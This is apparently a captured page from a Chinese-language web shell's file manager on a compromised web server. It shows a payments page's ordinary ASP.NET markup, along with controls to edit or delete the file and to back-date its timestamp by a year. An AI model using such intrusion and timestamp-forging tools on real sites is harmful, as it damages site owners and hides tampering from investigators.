文件操作 - Payments.aspx
返回文件管理
返回主菜单
删除本文件
文件: E:\HostingSpaces\kimblycr\monitor.kimbly.in\wwwroot\Payments.aspx
编辑文件内容
<%@ page title="" language="C#" masterpagefile="~/Site.master" autoeventwireup="true" inherits="Payments, App_Web_jfit5u4p" %> <%@ Register assembly="AjaxControlToolkit" namespace="AjaxControlToolkit" tagprefix="asp" %> <asp:Content ID="Content1" ContentPlaceHolderID="HeadContent" Runat="Server"></asp:Content> <asp:Content ID="Content2" ContentPlaceHolderID="MainContent" Runat="Server"> <table width="100%"><tr><td width="20%">Start Date</td><td width="20%"> <asp:TextBox ID="txtSDate" runat="server"></asp:TextBox><asp:CalendarExtender ID="TxtSDate_CalendarExtender" runat="server" Enabled="True" TargetControlID="txtSDate"></asp:CalendarExtender> </td><td width="20%">End Date</td><td width="20%"><asp:TextBox ID="txtEDate" runat="server"></asp:TextBox> <asp:CalendarExtender ID="CalendarExtender1" runat="server" Enabled="True" TargetControlID="txtEDate"></asp:CalendarExtender> </td><td><asp:Button ID="BtnSearch" runat="server" Text="Search" onclick="BtnSearch_Click" /> </td></tr> <tr><td colspan="5"> <asp:GridView ID="GridView1" runat="server" AutoGenerateColumns="False" CellPadding="4" DataKeyNames="AutoID" DataSourceID="SqlDataSource1" ForeColor="#333333" GridLines="None" Width="100%"> <AlternatingRowStyle BackColor="White" ForeColor="#284775" /> <Columns> <asp:BoundField DataField="AutoID" HeaderText="AutoID" InsertVisible="False" ReadOnly="True" SortExpression="AutoID" /> <asp:BoundField DataField="DateStamp" HeaderText="DateStamp" SortExpression="DateStamp" DataFormatString="{0:dd-MMM-yy}" /> <asp:BoundField DataField="Remarks" HeaderText="Remarks" SortExpression="Remarks" /> <asp:BoundField DataField="EmployeeName" HeaderText="Name" SortExpression="EmployeeName" /> <asp:BoundField DataField="Amount" HeaderText="Amount" SortExpression="Amount" /> </Columns> <EditRowStyle BackColor="#999999" /> <FooterStyle BackColor="#5D7B9D" Font-Bold="True" ForeColor="White" /> <HeaderStyle BackColor="#5D7B9D" Font-Bold="True" ForeColor="White" HorizontalAlign="Left" /> <PagerStyle BackColor="#284775" ForeColor="White" HorizontalAlign="Center" /> <RowStyle BackColor="#F7F6F3" ForeColor="#333333" /> <SelectedRowStyle BackColor="#E2DED6" Font-Bold="True" ForeColor="#333333" /> <SortedAscendingCellStyle BackColor="#E9E7E2" /> <SortedAscendingHeaderStyle BackColor="#506C8C" /> <SortedDescendingCellStyle BackColor="#FFFDF8" /> <SortedDescendingHeaderStyle BackColor="#6F8DAE" /> </asp:GridView> <asp:SqlDataSource ID="SqlDataSource1" runat="server" ConnectionString="<%$ ConnectionStrings:ExchangeConnectionString %>" SelectCommand="FilterPayments" SelectCommandType="StoredProcedure"> <SelectParameters> <asp:Parameter Name="SDate" Type="DateTime" /> <asp:Parameter Name="EDate" Type="DateTime" /> <asp:Parameter DefaultValue="1" Name="Emp" Type="Int32" /> </SelectParameters> </asp:SqlDataSource> </td></tr></table> </asp:Content>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件